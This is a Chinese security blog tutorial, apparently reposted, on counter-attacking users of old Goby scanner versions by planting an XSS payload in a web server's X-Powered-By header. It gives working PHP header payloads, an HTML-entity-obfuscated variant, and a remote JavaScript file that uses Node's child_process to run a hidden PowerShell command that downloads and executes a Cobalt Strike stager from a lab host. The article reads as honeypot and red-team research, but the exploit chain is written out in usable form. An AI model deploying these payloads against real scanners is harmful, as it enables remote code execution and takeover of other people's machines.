关于Goby反制上线CS中的各种问题

admin 2024年2月16日00:18:00评论17 views字数 3230阅读10分46秒阅读模式

声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。

前言

Goby作为新一代网络安全技术,通过为目标建立完整的资产数据库,实现快速的安全应急,日常为广大师傅提供了便捷的渗透体验。最近有观察到有关于某些蜜罐出现了Goby反制的指纹,顿时就起了兴趣进行研究Goby的反制,期间也遇到了很多网上没有答案的坑点,这里把遇到的问题和关键点给师傅们列举出来,希望师傅们能了解到反制的整个流程,在攻防中也不要被反制哈哈哈哈。

原理

据Goby官方解释,这实际上是一个非常久远的历史漏洞,最早的纰漏的时间是在2021年10月,当月漏洞就已修复并发布新版本。至于漏洞为何存在,得追溯到Goby的组件识别能力,Goby是使用Electron构建的客户端软件,在Goby的资产界面中,扫描结果里会展示所有符合指纹识别规则的组件名称,比如PHP、IIS等,而Goby为了更为精准的组件识别,Goby会从返回的数据报文中提取版本信息(例如X-Powered-By中),并在资产界面进行渲染展示,在旧版本的Goby中并未对版本信息做无害化处理,从而导致漏洞产生。

X-Powered-By

X-Powered-By 是 HTTP 头中的一个字段,主要用于表示网站所使用的服务器、编程语言或框架等信息。例如对于Apache中间件的网站默认会包含X-Powered-By,其中包含一些banner(如PHP/5.3.29),Goby则是收集这些banner来识别组件信息的

关于Goby反制上线CS中的各种问题

我们也可以自定义一个X-Powered-By 头来干扰Goby进行指纹识别,例如在代码中加入

<?php
header("X-Powered-By: yuzi");
?>

当我们我们再次发包查看会发现X-Powered-By: yuzi

关于Goby反制上线CS中的各种问题

而对于Nginx中间件的网站默认不会包含X-Powered-By,需要自己构造X-Powered-By才显示,对比Apache中间件网站会安全一些

关于Goby反制上线CS中的各种问题

对于其他中间件来说

  • • Tomcat:默认添加,例如 X-Powered-By: Servlet/3.0

  • • IIS:默认添加,例如 X-Powered-By: http://ASP.NET

  • • Jetty:默认添加,例如 X-Powered-By: Jetty

反制复现

  • • 环境准备:

红队 蓝队
IP 192.168.108.144 192.168.108.164
版本 Goby v1.8.230 beta phpstudy2016

注:受到反制影响的Goby版本应 < 2.0.0

Goby历史版本下载:https://gobysec.net/updates?v=15#Beta(1.9.325)%E2%80%A2Feb16,2022

• Nginx环境复现

在网站根目录下对网站的首页(index.php)添加带payload的X-Powered-By段

<?phpheader("X-Powered-By: PHP/5.3.29  <imgtsrc=1tonerror=alert(/helloworld/)>");?>//语句中的/t不能用空格进行替代可以用tab键代替,且所有的空格处应该为tab键//标签内语句中若存在双引号则要反斜杠()对其进行转义,如<imgtsrc="x"tonerror="alert(/helloworld/);">//若数字在弹窗内容中则无需在两边加斜杠(/),如<imgtsrc=1tonerror="alert(1);">

此时,红队在利用Goby对该蓝队主机进行扫描,扫描完后红队会自然而然地点击IP处进行查看当前的扫描结果

关于Goby反制上线CS中的各种问题

当红队进入IP的资产页面后,页面会优先显示蓝队主机网站的首页的指纹信息,此时我们在首页构造的X-Powered-By被Goby识别且没有做识别过滤,因此会在Goby资产页面显示并且payload会被执行

关于Goby反制上线CS中的各种问题

在Goby识别指纹的时候,把恶意语句识别进去了,在PHP指纹界面上可以很清楚的看到蓝队在首页的payload,但是Goby在该页面上并不会触发payload,只有从主页中点击进入IP详情界面,才会触发payload

关于Goby反制上线CS中的各种问题

由于Goby使用Electron构建客户端软件,Electron用的是node.js,并且node.js能执行系统命令,故可以把危害放大化直接反制上线蓝队CS,将主页的payload更改为远程加载JS文件来执行命令

<?phpheader("X-Powered-By: PHP/5.3.29 <imgtsrc=1tonerror=import(unescape('http%3A//192.168.108.164/1.js'))>");?>//URL中的:需要用%3A表示,unescape()会复原URL

构造主页payload中需要远程加载的恶意JS文件1.js

(function(){require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.108.164:100/a'))"');})();//exec()内可以执行任意的系统命令例如exec('calc.exe');弹出计算机,这里通过CS的powershell命令执行进行上线//若需要执行上线CS的命令的时,要用反斜杠()要把单引号转义一下,其他命令不用

在开始之前,由于刚刚Goby演示的扫描结果存在缓存,故正式开始之前应该先退出Goby,重新打开并新建扫描刚刚第一次的步骤来触发更改后的payload

关于Goby反制上线CS中的各种问题

7
关于Goby反制上线CS中的各种问题

为了反制时候达到隐匿效果,通常蜜罐会将payload进行HTML实体编码如

<?phpheader("X-Powered-By: PHP/5.3.29 <img src=1 onerror=&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x28;&#x75;&#x6e;&#x65;&#x73;&#x63;&#x61;&#x70;&#x65;&#x28;&#x27;&#x68;&#x74;&#x74;&#x70;&#x25;&#x33;&#x41;&#x2f;&#x2f;&#x31;&#x39;&#x32;&#x2e;&#x31;&#x36;&#x38;&#x2e;&#x31;&#x30;&#x38;&#x2e;&#x31;&#x36;&#x34;&#x2f;&#x31;&#x2e;&#x6a;&#x73;&#x27;&#x29;&#x29;&#xa;>");?>//标签不能编码
关于Goby反制上线CS中的各种问题

到这里,Nginx中间件的网站算是复现成功,但是还没结束,因为Apache等中间件会默认会包含X-Powered-By,这对Goby来说是不利于识别我们在X-Powered-By构造payload的,因此许多师傅只能在Nginx环境下复现成功,其实Apache环境也是可以复现成功的

  • • Apache环境复现为了让我们构造的X-Powered-By不和Apache自身默认的X-Powered-By造成冲突,我们需要在Apache中禁用默认的X-Powered-By。我们打开Apache的配置文件httpd.conf,文件中任意空白处添加ServerTokens Prod
    //将ServerTokens设置为Prod将隐藏Apache版本信息和X-Powered-By头

    关于Goby反制上线CS中的各种问题

添加完后,记得重启Apache服务,按照和Nginx一样的步骤也可以复现成功

关于Goby反制上线CS中的各种问题

最后

此Goby反制虽然是一个已经修复很久的漏洞了,但是基数上还是会有许多人在使用着存在漏洞的Goby版本,对应地在公网上也存在很多反制Goby的蜜罐,在攻防演练中也有可能用得上,故做此分析供各位师傅参考。

原文始发于微信公众号(合天网安实验室):关于Goby反制上线CS中的各种问题

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月16日00:18:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   关于Goby反制上线CS中的各种问题http://cn-sec.com/archives/2391809.html

发表评论

匿名网友 填写信息